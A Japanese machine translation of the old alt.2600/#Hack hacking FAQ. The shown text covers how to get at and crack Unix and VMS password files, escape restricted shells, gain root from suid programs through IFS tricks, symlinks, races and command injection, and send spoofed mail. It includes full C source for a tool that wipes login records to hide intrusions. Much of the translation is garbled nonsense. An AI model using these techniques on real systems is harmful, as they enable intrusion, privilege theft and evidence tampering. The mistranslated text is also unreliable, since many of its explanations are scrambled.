機械翻訳のものをフォーマットしなおしたものです。 それなり分かる人には分かるのでこのままにします。 ぜんぜん分からないって人は少しU*IXの勉強が必要かもしれません。 原文は多分そこらじゅうにあるので、探してみてください。 windows95セクションは”かくし味”さんに訳してもらいました。 ありがとうございます。 The alt.2600/#Hack F.A.Q. also incorporates new Windoz 95 Section Beta Revision .014 Version 4.0 Incorporating The New Crackers Guide by The Hawk Sysadmin alt.2600 Moderator Greets go out to: A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, C-Curve, DeadKat, Disorder, Edison, Hobbit, KCrow, Major, Marauder, Novocain, Outsider,The Hawk Presence, Rogue Agent, sbin, Taran King, Theora, ThePublic, Tomes, TheSaint and Xer0. We work in the dark We do what we can We give what we have Our doubt is our passion, and our passion is our task The rest is the madness of art. -- Henry James 3つの新しいセクションが,バージョン4に加えられている。 そして,ずっと人気のある要求(新しいクラッカー)へのwin95セクションが案内し, 最期におはこの行為者Newsreader/Eのための通し番号を登録した。 Mailer・ニュース'n'電子メールのベスト・ハッカー セクションA: コンピュータ U 01. どのようにして私はUNIXの下のパスワードファイルをアクセスするか? U 02. どのようにして私はUNIXパスワードにひびを入れるか? 03. パスワードは何を暗くしているか? 04. どこでもしそれが暗くされれば,私はパスワードファイルを見つけるかもしれないか? 05. NIS/ypは何であるか? 06. 不思議なそれらの特徴は,コンマのあとに私のpasswdファイルの中で何であるか? 07. どのようにして私はVMSの下のパスワードファイルをアクセスするか? 08. どのようにして私はVMSパスワードにひびを入れるか? N 09. 何がVMSの上でシステムを丸太に切ることができるか? N 10. avaliable privelegesは,VMSの上で何システムであるか? U 11. どのようにして私は限られた貝殻の起こるか? 12. どのようにしてsuidスクリプトあるいはプログラムから私は根を獲得するか? 13. どのようにして私がシステムから存在を消し,丸太に切るか? 14. どのようにして私はfakemailを送るか? U 15. どのようにして私に贋物なポストを表し,UseNetへメッセージをコントロールするか? 16. どのようにして私はIRCの上でChanOpを叩き切るか? 17. どのようにして私は,私の本当のユーザー名を隠すために,IRCクライアントを修正するか? 18. 私がそれらに奇妙な特徴のディレクトリへ変化する方法? 19. イーサネットは何を嗅いでいるか? U 20. インターネットは何Outdialであるか? 21. いくらかのインターネットは,何Outdialsであるか? 22. このシステムは,何であるか? U 23. デフォルトが何であり,XXXの理由を説明するか? 24. 何,ポートXXXはであるか? 25. trojan/worm/virus/logicが何であり,爆弾を投下するか? 26. どのようにして私はウイルスからそのような私自身を保護することができるか? 27. どこで私はウイルスについてのもっと多い情報を得ることができるか? 28. Cryptoxxxxxxxは何であるか? 29. PGPは何であるか? U 30. 大嵐は何であるか? U 31. 匿名のremailerは,何であるか? U 32. アドレスは,匿名のいくらかのremailersの何であるか? 33. どのようにして私はコピー保護を負かすか? 34. 127.0.0.1は何であるか? 35. どのようにして私は和らげられたnewsgroupへポストするか? N 36. どのようにして私はUsenetへ電子メール経由でポストするか? N 37. どのようにして私はBIOSパスワードを負かすか? 95のWindozセクション N 1. どのようにして私がWin 95N2にパスワードファイルを叩き切るとする。 N 2. どのようにして私がワークステーションにipアドレス/ゲートウェイetc を与えるとする。 N 3. どのようにして私が勝利95のインターネットへ接続するとする。 おはこ行為者セクション N 1. おはこの行為者のための認可された活性化キーは,何である。 新しいクラッカーガイド セクションB: 電話法 01. 赤い箱は,何であるか? 02. どのようにして私は赤い箱を作るか? U 03. どこで私は6.5536Mhz結晶に着くことができるか? 04. どのpayphonesの上で赤い箱が働くだろうか? 05. どのようにして私は赤い箱の市内通話を作るか? 05. 青い箱は,何であるか? U 07. 青い箱は,まだ働くか? U 08. ブラックボックスは何であるか? 09. すべて絵の具箱は何をするか? 10. ANACは何数であるか? U 11. ANACは何私のエリアのための数であるか? 12. ringbackは何数であるか? U 13. ringbackは何私のエリアのための数であるか? 14. ループは何であるか? U 15. ループは私のエリアで何であるか? 16. CNAは何数であるか? U 17. 電話会社は,何私のエリアのためのCNA数であるか? 18. いくらかの数は,常に忙しく聞こえ何であるか? 19. いくらかの数は,一時的に電話サービスを切り離し何であるか? N 20. 代理人は何試験装置であるか? N 21. 代理人は,私のエリアで何試験装置であるか? 22. 何がスキャンしているか? 23. 非合法にスキャンしているか? 24. どこで私はラインマンのhandsetを買うことができるか? 25. DTMFは何周波数であるか? U 26. 周波数は電話トーンの何であるか? 27. すべての* (小娘)は,何である。コード? U 28. 周波数コードレス電話は,何に作用するか? 29. Caller-IDは何であるか? N 30. どのようにして私はCaller-IDをブロックするか? 31. PBXは何であるか? 32. VMBは何であるか? N 33. 何ABCDはトーンであるか? セクションC: リソース U 01. 何いくらかのftpサイトがハッカーにとって興味深いか? 02. 何いくらかのfspサイトがハッカーにとって興味深いか? U 03. 何いくらかのnewsgroupsがハッカーにとって興味深いか? U 04. 何いくらかのtelnetサイトがハッカーにとって興味深いか? U 05. 何いくらかのgopherサイトがハッカーにとって興味深いか? U 06. いくらかのWWW(WWW)は,何である。ハッカーへの興味深いサイト? 07. 何いくらかのIRCチャンネルがハッカーにとって興味深いか? U 08. 興味深いいくらかのBBSのものは,ハッカーへ何であるか? U 09. 何いくらかの本がハッカーにとって興味深いか? 10. 何いくらかのビデオがハッカーにとって興味深いか? U 11. 何いくらかの郵送先名簿がハッカーにとって興味深いか? U 12. 何いくらかのプリントマガジンがハッカーにとって興味深いか? 13. 何いくらかのe-zinesがハッカーにとって興味深いか? 14. 何いくらかの組織がハッカーにとって興味深いか? N 15. 何いくらかのラジオプログラムがハッカーにとって興味深いか? 16. どこで私は磁気のストライプencoder/decoderを買うことができるか? 17. 私がどのようにしてそれらを得虹は,何本であるか? セクションD: 2600 01. alt.2600は何であるか? 02. 何が"2600"をする。意味するか? 03. オンラインの2600の利用できるバージョンはあるか? 04. 私は,少しも書店で2600を見つけることができない。私は何をすることができるか? 05. 2600のコストもっと新聞雑誌売店で買うことを承諾するか? セクションE: 雑物 01. XXXは何を表すか? 02. どのようにしてもし有効なクレジットカード番号を持っていれば,私は終止するか? U 03. 銀行は,このクレジットカード何を発行したか? N 04. 設計は,磁気のストライプカードについてのデータの何であるか? 05. 叩き切る倫理学? 06. どこで私はalt.2600/#hack FAQのコピーを得ることができるか? U == は,alt.2600/#hack FAQの最後の解放以来更新した。 N == は,alt.2600/#hack FAQの最後の解放以来新しく セクションA: コンピュータ ~~~~~~~~~~~~~~~~~~~~~~~~~~ 01.どのようにして私はUNIXの下のパスワードファイルをアクセスするか? 標準のUNIXの中で,パスワードファイルは,/etc/passwdである。 付きまとっているNIS/ypかパスワードのどちらかのUNIXシステムの上に,多くのパスワードデータが,どこかよそにあるかもしれない。 パスワードファイルの記入が,フィールド範囲を定められた7つのコロンで構成されている。 ユーザー名は, パスワード(そして任意のパスワード老いデータ)を暗号化した。 ユーザ数 グループ数 GECOS情報 ホームディレクトリ 貝殻 ] ] /etc/passwdからのサンプル記入: ] ] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash ] 挫け,このpasswdファイルラインは見える。 ユーザー名: will パスワードを暗号化した。: 5fg63fhD3d5gh ユーザ数: 9406 グループ数: 12 GECOS情報: Will Spencer ホームディレクトリ: /home/fsg/will 貝殻: /bin/bash 02.どのようにして私はUNIXパスワードにひびを入れるか? 人気のある信念に反して,UNIXパスワードをdecryptedすることができない。 UNIXパスワードが一つの方法機能で暗号化されている。 ログインプログラムは,あなたが"password:"で入るテキストを暗号化する。 プロンプトは,あなたのパスワードの暗号化されたフォームに対するその暗号化された ストリングと比較する。 ソフトウェアにひびを入れているパスワードは,wordlistsを使う。 wordlistのそれぞれの言葉が暗号化されており,結果は,ターゲットパスワードの 暗号化されたフォームにたとえられている。 ベストUNIXのためのプログラムにひびを入れて,パスワードは,アレックMuffett によって現在のところひびである。PC-DOSにとって,使用への最良のパッケージは, 現在のところ優秀品である。優秀品は,clark.net/pub/jcase/からftp経由で利用できる。 03. パスワードは何を暗くしているか? パスワード暗くすることは,/etc/passwdの暗号化されたパスワードフィールドが 特別なトークンでいれ代わり,暗号化されたパスワードが普通のシステムユーザ によって読みやすくない別々のファイルで蓄えられている,安全システムである。 多くの(しかしないすべての)の上で付きまとっているパスワードを負かす。 システム,getpwent()へ継続的な通話を使うプログラムを書く。パスワード ファイルを得る。 例: #include <pwd.h> main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } 04. どこでもしそれが暗くされれば,私はパスワードファイルを見つけるかもしれないか? Unix Path Token ----------------------------------------------------------------- AIX 3 /etc/security/passwd ! or /tcb/auth/files/<first letter # of username>/<username> A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files/<first letter * of username>/<username> SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow <optional NIS+ private secure maps/tables/whatever> System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * 05. NIS/ypは何であるか? NIS(ネットワーク情報システム) 何がかつてyp(イエローページ)として 知られたための現在の名前でNISのための目的は,パスワードデータを含めて 形状情報を共有するネットワークの上で多くの機械を許すことである。 NISがシステム安全を促進することを予定されていない。もしあなたのシステムが NISを使えば,あなたは,これのようなラインを含んでいる非常に短い/etc/passwd ファイルを持っているだろう。 +::0:0::: 本当のパスワードを見るために,ファイルはこのコマンドを使う。"ypcat passwd" 06. 不思議なそれらの特徴は,コンマのあとに私のpasswdファイルの中で何であるか? 特徴はパスワード老いデータである。 システム長官が時間指定した後でパスワード老いはパスワードをユーザに変えさせる。 それを変える前にパスワード老いは一定数の週の間またパスワードをユーザに保たせる ことができる。 ] ]パスワード老いの/etc/passwdからのサンプル記入は,以下をインストールした。 ] ] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash ] 暗号化されたパスワードフィールドでコンマに注意しなさい。 特徴は,コンマパスワード老い機構によって使われる。 ] ] パスワード老い特徴上から例: ] ] M.z8 ] 4つの特徴は,次のように解釈されている。 1: 変化せずに週パスワード最大数を使うことができる。 2: 変化する前に週最小の数がパスワード使われなければならない。 3&4: 前回パスワードが1970以来の週の数で変えられた。 3つの特例が注意されるべきだ。 第一および第二の特徴は,取りかかられた'..'である。 the user will be forced to change his/her passwd the next time he/she logs in. passwdプログラムはそのときpasswd老い特徴を取り去り,ユーザは 再びパスワード老い要求に服従しないだろう。 第3と4番目の特徴は,取りかかられた'..'である。 the user will be forced to change his/her passwd the next time he/she logs in. パスワード老いは,第一および第二の特徴によって明らかにされ,そのとき起こるだろう。 最初の特徴(MAX) 第2の特徴(分)以下であり,ユーザはhis/herパスワードを変えることを許されていない。 唯一の根は,そのユーザパスワードを変えることができる。 また,suコマンドがパスワード老いデータをチェックしないことが注意されるべきだ。 終了されたパスワードのアカウントは,パスワードを変えるために,押しつけられている ことへsu'dかもしれない。 Password Aging Codes +------------------------------------------------------------------------+ | | | Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H | | Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | | | | Character: I J K L M N O P Q R S T U V W X Y Z a b | | Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 39 | | | | Character: c d e f g h i j k l m n o p q r s t u v | | Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | | | | Character: w x y z | | Number: 60 61 62 63 | | | +------------------------------------------------------------------------+ 07. どのようにして私はVMSの下のパスワードファイルをアクセスするか? しかしながら、VMSの下で,パスワードファイルは,UNIXと異なって SYS$SYSTEM:SYSUAF.DAT.である。そして,大部分のユーザは,パスワード ファイルを読むために,アクセスを持たない。 08. どのようにして私はVMSパスワードにひびを入れるか? SYSUAF.DATの暗号化されたデータに対する暗号化された言葉の結果と 比較するために,SYS$GETUAF機能を使うプログラムを書きなさい。 CHECK_PASSWORDとGUESS_PASSWORD2つのそのようなプログラムが 知られており,存在しなさい。 09. 何がVMSの上でシステムを丸太に切ることができるか? 調査のためにVMSシステムの事実上あらゆるアスペクトを丸太に切ることができる。 終止するために,あなたのシステムについての会計学の地位はコマンドショー 会計学を使う。 システム会計学は,展望(CPU時間のようにプリンタ使用などを丸太に切っている リソース)思っているシステムからの機械の使用についての情報を記録するための 施設である。 システム会計検査は,安全のための情報を丸太に切るねらいを終える。 会計学を可能にする。 $ SET ACCOUNTING [/ENABLE=(Activity...)] また,会計学ログファイルSYS$MANAGER:ACCOUNTING.DAT.へこれ情報を丸太に切って, 思って,これが可能にし,現在のログファイルを締め,より高いバージョン番号の 新しいものを開くことのために使われている。 次の活動を丸太に切ることができる。 BATCH バッチ・ジョブの終了は,対話的な対話的なジョブ終了 DETACHED Termination of a detached job IMAGE Image execution INTERACTIVE Interactive job termination LOGIN_FAILURE Login failures MESSAGE Users messages NETWORK Network job termination PRINT Print Jobs PROCESS Any terminated process SUBPROCESS Termination of a subprocess 会計検査は使う。 $ SET AUDIT [/ENABLE=(Activity...)] /ALARM修飾語は,安全オペレータとして賛成されたすべてのターミナル へアラームを上げることのために使われている。 そして,あなたが安全特権を必要とすることを意味する。 あなたは,$ SHOW AUDIT /ALLを用いた安全会計検査形状を決定することができる。 次の活動を丸太に切るために,安全会計検査官を形成することができる。 ACL Access Control List requested events AUTHORIZATION Modification to the system user authorization file SYS$SYSTEM:SYSUAF.DAT BREAKIN Attempted Break-ins FILE_ACCESS File or global section access INSTALL Occurrence of any INSTALL operations LOGFAILURE Any login failures LOGIN A login attempt from various sources LOGOUT Logouts MOUNT Mount or dismount requests 10. avaliable privelegesは,VMSの上で何システムであるか? ACNT Allows you to restrain accounting messages ALLSPOOL Allows you to allocate spooled devices ALTPRI Allot Priority. This allows you to set any priority value BUGCHK Allows you make bug check error log entries BYPASS Enables you to disregard protections CMEXEC/ CMKRNL Change to executive or kernel mode. These privileges allow a process to execute optional routines with KERNEL and EXECUTIVE access modes. CMKRNL is the most powerful privilege on VMS as anything protected can be accessed if you have this privilege. You must have these privileges to gain access to the kernel data structures directly. DETACH This privilege allow you to create detached processes of arbitrary UICs DIAGNOSE With this privilege you can diagnose devices EXQUOTA Allows you to exceed your disk quota GROUP This privilege grants you permission to affect other processes in the same rank GRPNAM Allows you to insert group logical names into the group logical names table. GRPPRV Enables you to access system group objects through system protection field LOG_IO Allows you to issue logical input output requests MOUNT May execute the mount function NETMBX Allows you to create network connections OPER Allows you to perform operator functions PFNMAP Allows you to map to specific physical pages PHY_IO Allows you to perform physical input output requests PRMCEB Can create permanent common event clusters PRMGBL Allows you to create permanent global sections PRMMBX Allows you to create permanent mailboxes PSWAPM Allows you to change a processes swap mode READALL Allows you read access to everything SECURITY Enables you to perform security related functions SETPRV Enable all privileges SHARE Allows you to access devices allocated to other users. This is used to assign system mailboxes. SHMEM Enables you to modify objects in shared memory SYSGBL Allows you to create system wide permanent global sections SYSLCK Allows you to lock system wide resources SYSNAM Allows you to insert in system logical names in the names table. SYSPRV If a process holds this privilege then it is the same as a process holding the system user identification code. TMPMBX Allows you create temporary mailboxes VOLPRO Enables you to override volume protection WORLD When this is set you can affect other processes in the world あなたのプロセスが何の特権で走っているかを決定することは,コマンドを発行する。 $ show proc/priv 11. どのようにして私は限られた貝殻の起こるか? みすぼらしく実行された限られた貝殻の上で,あなたは,貝殻機能の特色をなすプログラムを 走らせることによって,限られた環境の起こることができる。 適例はviである。viを走らせ,このコマンドを使いなさい。 :set shell=/bin/sh そのときこのコマンドを使っている貝殻: :shell あなたの限られた貝殻は,あなたが"cd"を使うことを妨げる。 あなたのアカウントとあなたの中へcd ftpを命令しなさい。 12. どのようにしてsuidスクリプトあるいはプログラムから私は根を獲得するか? 1. IFSを変えなさい。 プログラムは,system()を用いたどんな他のプログラムでも呼ぶ。 機能通話,あなたは,IFSを変えることによってそれをだまして奪うことができるかもしれない。 IFSは,議論の範囲を定めるために貝殻が使う内部のフィールドセパレータである。 プログラムはこれのようなラインを含む。 system("/bin/date") そしてあなたが'/'貝殻へIFSを変え,それらは進むラインを解釈する。 bin date 今,あなたは"bin"と呼ばれたパスで自分のプログラムを持っている。 suidプログラムは,/bin/dateの代わりにあなたのプログラムを走らせるだろう。 IFSを変えるために,このコマンドを使いなさい。 IFS='/';export IFS # Bourne Shell setenv IFS '/' # C Shell export IFS='/' # Korn Shell 2.-iへスクリプトをつなぎなさい。 "-i"と名づけられたシンボリックリンクを作り出しなさい。 プログラムを走らせること "-i" インタプリタ貝殻(/bin/sh)を引き起こすだろう。 対話的なモードで始まる。これは,suid貝殻スクリプトの上でしか働かない。 例: % ln suid.sh -i % -i # 3. 競争状態を開発しなさい。 カーネルが/bin/shをロードしている間に,別のプログラムのプログラムへ シンボリックリンクをもとの場所へ戻しなさい。 例: nice -19 suidprog ; ln -s evilprog suidroot 4. 悪い入力をプログラムに送りなさい。 プログラムの名前と同じコマンドラインの上の別々のコマンドを呼び出しなさい。 例: suidprog ; id 13. どのようにして私がシステムから存在を消し,丸太に切るか? /etc/utmp,/usr/adm/wtmpおよび/usr/adm/lastlogを編集しなさい。 あなたが特にこの目的のために書かれたプログラムを使わなければならなく, これらは,手でviで編集することができるテキストファイルではない。 例: #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } 14. どのようにして私はfakemailを送るか? Telnet機械の25を向けるために,あなたは起こるらしいことをメールに望む。 この例としてメッセージを入れなさい。: HELO bellcore.com MAIL FROM:Voyager@bellcore.com RCPT TO:president@whitehouse.gov DATA Please discontinue your silly Clipper initiative. . QUIT RFC931を持っているシステムの上で:"からあなたのspoofing"MAIL を実行した。ラインは働かないだろう。 あなた自身に最初のfakemailを送るによる前にテスト 詳しくはARPAインターネットテキストmessages."のフォーマットのために 822のRFC"Standardを読みなさい。 15. どのようにして私に贋物なポストを表し,UseNetへメッセージをコントロールするか? あまりにもぐちゃぐちゃで読めませんでした、申し訳ないですが、省きます。 16. どのようにして私はIRCの上でChanOpを叩き切るか? 残りのIRCから裂かれているサーバーを見つけなさい。そして,そこであなたが, 上にChanOpがほしいチャンネルの名前を用いて,自分のチャンネルを作り出す。 そのサーバーがネットへ再結合する時,あなたは本当のチャンネルの上でChanOp を持っているだろう。もしあなたがサーバーの上でServerOpを持っていれば, 故意にあなたはそれに割れさせることができる。 17. どのようにして私は,私の本当のユーザー名を隠すために,IRCクライアントを修正するか? cs.bu.edu/irc/clientsからIRCクライアントを得なさい。見つけるのがあなたが 捜しているコードソースコードファイルirc.cとctcp.c.を見,公正に簡単だ。 それを変えなさい。irc.cでユーザー名コードを変え,ctcp.c.のctcp情報コード はコンパイルし,あなたのクライアントを走らせなさい。 diffsは,IRCクライアントのサンプル駄馬からである。 あなたが何のIRCクライアントバージョンを走らせているかをあてにして, あなたのクライアントコードは,わずかに変わるだろう。 *** ctcp.c.old Wed Feb 10 10:08:05 1993 --- ctcp.c Fri Feb 12 04:33:55 1993 *************** *** 331,337 **** struct passwd *pwd; long diff; int uid; ! char c; /* * sojge complained that ircII says 'idle 1 seconds' --- 331,337 ---- struct passwd *pwd; long diff; int uid; ! char c, *fing; /* * sojge complained that ircII says 'idle 1 seconds' *************** *** 348,354 **** if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (pwd = getpwuid(uid)) { char *tmp; --- 348,356 ---- if (uid != DAEMON_UID) { #endif /* DAEMON_UID */ ! if (fing = getenv("IRCFINGER")) ! send_ctcp_reply(from, ctcp->name, fing, diff, c); ! else if (pwd = getpwuid(uid)) { char *tmp; *** irc.c.old Wed Feb 10 06:33:11 1993 --- irc.c Fri Feb 12 04:02:11 1993 *************** *** 510,516 **** malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); --- 510,518 ---- malloc_strcpy(&my_path, "/"); if (*realname == null(char)) strmcpy(realname, "*Unknown*", REALNAME_LEN); ! if (ptr = getenv("IRCUSER")) ! strmcpy(username, ptr, NAME_LEN); ! else if (*username == null(char)) { if (ptr = getenv("USER")) strmcpy(username, ptr, NAME_LEN); c ya the hawk ----------------- Sysadmin alt.2600 | moderator ----------------- 18. 私がそれらに奇妙な特徴のディレクトリへ変化する方法? これらのディレクトリは,情報(しばしばwarez(コマーシャルのソフトウェア)) を隠そうとしている人々によって,しばしば使われている。 奇妙なこれらの特徴が何であるかを決定することをあなたがすることができる いくつかの物がある。人は,あなたにもっと多い情報をlsに与えさせるlsコマンドへ 議論を使うつもりだ。 lsのための人ページから: -F 後端の「/」(後端の「@」シンボルで印をつけられる後端の 「*」とシンボリックリンクで印をつけられる実行可能なファイル) で印をつけられるF原因ディレクトリ -q 特徴「?」としてのファイル名の非グラフィック特徴の力印刷 -b octalの\ddd表記法の非グラフィック特徴の力印刷 たぶん,最も役立つツールは,単に"lsに-alfilename"を表すことである。 あなたの地方の機械の上のファイルとしての遠いftpサイトのディレクトリを救う。 そのときあなたは"cat-t-v-efilename"をすることができる。 正確に奇怪なそれらの小量特徴が何であるかを見る。 猫のための人ページから: - v原因非印刷特徴(タブ新ラインフォームを除いてはえさとする) 展示される。 制御文字が,(<Ctrl>x)として展示されている。そこで,Xは,<Ctrl>で押されたキーである。 キー(例えば,<Ctrl>mがとして展示されている) The <Del> 特徴(octal0177) として印刷されているか? 非ASCII 特徴(高いビットセットで) m-xとして印刷されており,そこで,xは,低いオーダー7ビットによって指定された特徴である。 - 印刷されたであるt原因タブは,と同じくらいのフィードを形成する。 これ もし-vオプションが指定されなければ,オプションが無視されている。 - それぞれのライン(新ラインを優先して)の終わりに「ドル」特徴がeによって印刷させられる。 もし-vオプションが置かれなければ,このオプションは無視されている。 ディレクトリ名は,<スペース>を含んでいる。 <タブ> あなたは,引用符で全体のディレクトリ名を囲む必要があるだろう。 例: cd"..<タブ>" IBM-PCの上で,あなたは,<ALT>を抑えることによって特別なこれらの特徴 を入れるかもしれない。 キーあなたの数値のkeypadの上の特別な特徴の小数の値を入れる。 あなたは<ALT>をリリースする。 キー(特別な特徴)は,あなたのスクリーンの上に現われるべきだ。 ASCIIチャートが非常に役に立つかもしれない。 時々,人々は,(中断する)のように彼らに標準のいくらかのstty制御文字の ディレクトリを作り出すことがある。 (intr) 最初に別の特徴へqustionで制御文字を変えるユーザsttyそれらのあなた ディレクトリに入る。 sttyのための人ページから: 割り当てをコントロールしなさい。 C(制御文字があり消す)への制御文字Cセット制御文字は殺す。そして, eof・eol・swtch(転換する)断念し,intr(阻止する)は,suspを止め,スタートする。 スタートしなさい,停止は制御文字C割り当てのためのありそうな制御特徴として利用できる。 Cはcaret(^)によって先に立たれている。 である類似の制御文字(例えば,は(貝殻<Ctrl>dから逃げた)である) (使われたそのとき値)は。 ?ある。 通訳した未定義であることと同じくらい解釈されたを削除しなさい。) あなたの現在のstty設定を見て,ものが問題どちらをあなたにさせているかを 決定するために,stty-aコマンドを使いなさい。 19. イーサネットは何を嗅いでいるか? イーサネット嗅ぐことが(ソフトウェアで)聞いている。 パケットのための生のイーサネットディバイスへ興味あなた あなたのソフトウェアが確かな規準に合うパケットを見る時,それはファイル へそれを丸太に切る。おもしろいパケットのための共通規準は,"login" のような言葉を含むもの最もである。"password." ここに少数のそれであり,多くのイーサネットsniffersが利用でき, 今あなたのシステムの上であるかもしれない。 OS Sniffer ~~ ~~~~~~~ HP/UX nettl (monitor) & netfmt (display) nfswatch /* Available via anonymous ftp */ Irix nfswatch /* Available via anonymous ftp */ Etherman SunOS etherfind nfswatch /* Available via anonymous ftp */ Solaris snoop DOS ETHLOAD /* Available via anonymous ftp as */ /* ethld104.zip */ The Gobbler /* Available via anonymous ftp */ LanPatrol LanWatch Netmon Netwatch Netzhack /* Available via anonymous ftp at */ /* mistress.informatik.unibw-muenchen.de */ /* /pub/netzhack.mac */ Macintosh Etherpeek Here is source code for an ethernet sniffer: *ここにイーサネットを嗅ぐコードがあったんですが原文参照のこと 20. インターネットは何Outdialであるか? あなたが外でダイヤルすることを使うことができ,インターネットoutdialは, インターネットへつながれたモデムである。 普通のoutdialsは,ただ地方の数を呼ぶだろう。神(グローバルなOutDial) 長距離を呼ぶことをできる。Outdialsは,長距離BBSのものを呼ぶ安い方法である。 21. いくらかのインターネットは,何Outdialsであるか? かなりのダイアルリストがあったのですが、みんなマスクされてるし 日本からやる人は居ないと思うので省略。 22. このシステムは,何であるか? AIX ~~~ IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login: [それがそれ唯一のUNIXシステムであるので,あなたはAIXシステムを知っているだろう。] [スクリーンをきれいにし,底の近くのログインプロンプトを発行する。] [スクリーン] AS/400 ~~~~~~ AS/400 ~~~~~~ UserID? Password? かつてタイプはメインを行く。 CDC Cyber ~~~~~~~~~ WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978, 1987. 88/02/16. 02.36.53. N265100 CSUS CYBER 170-730. NOS 2.5.2-678/3. FAMILY: 正常にあなたはファミリープロンプトでただリターンを打つだろう。 次のプロンプトは,以下のとおりである。 USER NAME: CISCO Router ~~~~~~~~~~~~ FIRST BANK OF TNO 95-866 TNO VirtualBank REMOTE Router - TN043R1 Console Port SN - 00000866 TN043R1> DECserver ~~~~~~~~~ DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 DPS502-DS700 (c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved Please type HELP if you need assistance Enter username> TNO Local> Hewlett Packard MPE-XL ~~~~~~~~~~~~~~~~~~~~~~ MPE XL: EXPECTED A :HELLO COMMAND. (CIERR 6057) MPE XL: EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) MPE XL: GTN ~~~ WELCOME TO CITIBANK. PLEASE SIGN ON. XXXXXXXX @ PASSWORD = @ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PLEASE ENTER YOUR ID:-1-> PLEASE ENTER YOUR PASSWORD:-2-> CITICORP (CITY NAME). KEY GHELP FOR HELP. XXX.XXX PLEASE SELECT SERVICE REQUIRED.-3-> Lantronix Terminal Server ~~~~~~~~~~~~~~~~~~~~~~~~~ Lantronix ETS16 Version V3.1/1(940623) Type HELP at the 'Local_15> ' prompt for assistance. Login password> Meridian Mail (Northern Telecom Phone/Voice Mail System) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MMM MM MERIDIAN MMMMM MMMMM MMMMMM MMMMMM MMM MMMMM MMM MMMMM MMMMM MMM MMM MMM MMMMMM MMMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM Copyright (c) Northern Telecom, 1991 Novell ONLAN ~~~~~~~~~~~~ N [ONLAN/PCのコピーを所有することは,システムをアクセスするのが最良だ。] PC-Anywhere ~~~~~~~~~~~ P [PCAnywhereの遠いコピーを所有することは,システムをアクセスするのが最良だ。] PRIMOS ~~~~~~ PRIMENET 19.2.7F PPOA1 <any text> ER! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= CONNECT Primenet V 2.3 (system) LOGIN (you) User id? (system) SAPB5 (you) Password? (system) DROWSAP (you) OK, (system) ROLM CBX II ~~~~~~~~~~~ ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93 COPYRIGHT 1980, 1993 ROLM COMPANY. ALL 